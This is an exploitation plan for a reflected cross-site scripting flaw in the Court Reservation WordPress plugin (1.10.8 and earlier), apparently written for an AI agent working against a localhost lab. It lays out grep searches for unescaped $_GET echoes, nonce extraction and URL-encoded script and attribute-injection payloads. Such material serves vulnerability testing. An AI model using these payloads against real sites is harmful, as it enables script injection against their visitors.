Court Reservation <= 1.10.8 - Reflected Cross-Site Scripting

This research plan outlines the steps to identify and exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Court Reservation plugin (versions <= 1.10.8).

1. Vulnerability Summary

The Court Reservation plugin for WordPress is vulnerable to Reflected XSS because it fails to sanitize or escape user-controlled input from the URL (typically $_GET or $_REQUEST parameters) before echoing it back into the HTML response. Since the vulnerability is "Reflected," the payload is not stored in the database but is executed when a victim clicks a specially crafted link. The "unauthenticated" nature suggests the sink is located in a frontend-facing component or a globally accessible hook (like init).

2. Attack Vector Analysis

• Endpoint: Likely a frontend page where the [court_reservation] shortcode is present, or any URL if the sink is in a global hook like init.
• Vulnerable Parameter: To be confirmed via grep, but likely court_id, tab, date, or view.
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. If the vulnerability resides in a shortcode handler, a page containing that shortcode must exist and be visited.

3. Code Flow

1. Entry Point: An HTTP GET request is made to a WordPress page.
2. Trigger: WordPress initializes and loads the plugin.
   • If the sink is in init, it fires immediately.
   • If the sink is in a shortcode (e.g., add_shortcode( 'court_reservation', ... )), the handler is called when the page content is rendered.
3. Vulnerable Logic: The code retrieves a value from $_GET['parameter_name'].
4. Sink: The value is passed to an echo, print, or printf statement without functions like esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Reflected XSS vulnerabilities typically do not require a nonce for the initial reflection. However, if the reflection occurs within an AJAX handler or a form submission that validates nonces, the following strategy applies:

1. Identify the Script Variable: Use grep -r "wp_localize_script" . to find the localization key (e.g., cr_ajax_obj).
2. Identify the Nonce Key: Look for the key name in the array (e.g., 'nonce' => wp_create_nonce('cr_action')).
3. Setup Page: Create a page with the plugin's primary shortcode:
   • wp post create --post_type=page --post_title="Reservation" --post_status=publish --post_content='[court_reservation]'
4. Extract Nonce:
   • Navigate to the page using browser_navigate.
   • Execute browser_eval("window.cr_ajax_obj?.nonce") to retrieve the value.

Note: If the vulnerability is a simple reflection of a query parameter on a standard page load, this step is unnecessary.

5. Exploitation Strategy

Phase 1: Discovery (Manual Grep)

The agent should first identify the exact sink:

# Search for direct echoes of GET parameters
grep -rP "echo\s+\\\$_GET\[" /var/www/html/wp-content/plugins/court-reservation/
# Search for printf reflections
grep -rP "printf\(.*\\\$_GET" /var/www/html/wp-content/plugins/court-reservation/

Phase 2: Execution

Based on the grep results, construct the payload. If the vulnerable parameter is court_id:

1. Request URL: http://localhost:8080/?court_id=<script>alert(window.origin)</script>
2. Tool: http_request
3. Method: GET
4. Payload: <script>confirm(1)</script> (URL-encoded: %3Cscript%3Econfirm%281%29%3C/script%3E)

Example HTTP Request:

GET /?court_id=%3Cscript%3Ealert%281%29%3C/script%3E HTTP/1.1
Host: localhost:8080

6. Test Data Setup

1. Activate Plugin: Ensure court-reservation is active.
2. Create Content: Since many XSS sinks in reservation plugins are within the shortcode logic, create a landing page:
   • wp post create --post_type=page --post_title="Court" --post_status=publish --post_content='[court_reservation]'
3. Capture URL: Note the URL of the created page (usually /court/ or /?p=ID).

7. Expected Results

• The HTTP response body must contain the literal string <script>alert(1)</script> or whichever payload was used.
• The response Content-Type should be text/html.
• If using a browser-based tool, the execution of the script (e.g., a triggered alert or a modified DOM property) confirms the vulnerability.

8. Verification Steps

1. Response Analysis: Use http_request to fetch the URL with the payload and search the response_body for the unescaped script tags.
   • grep -q "<script>alert(1)</script>" response_output.txt
2. Browser Confirmation:
   • browser_navigate("http://localhost:8080/court/?court_id=<script>window.xss_test=1</script>")
   • browser_eval("window.xss_test")
   • Expected result: 1.

9. Alternative Approaches

• Attribute Injection: If the reflection is inside an HTML attribute (e.g., <input value="REFLECTED">), use: " onmouseover="alert(1)" or " autofocus onfocus="alert(1)" .
• AJAX Reflection: Check if any wp_ajax_nopriv_ actions echo back parameters.
  • grep -r "wp_ajax_nopriv" .
  • If found, trigger via POST /wp-admin/admin-ajax.php with the action and malicious parameter.
• Admin Side: If the frontend is clean, check the admin settings page for the plugin. While the CVE says unauthenticated, sometimes "unauthenticated" XSS is achievable via admin-ajax.php or admin-post.php hooks that do not check privileges.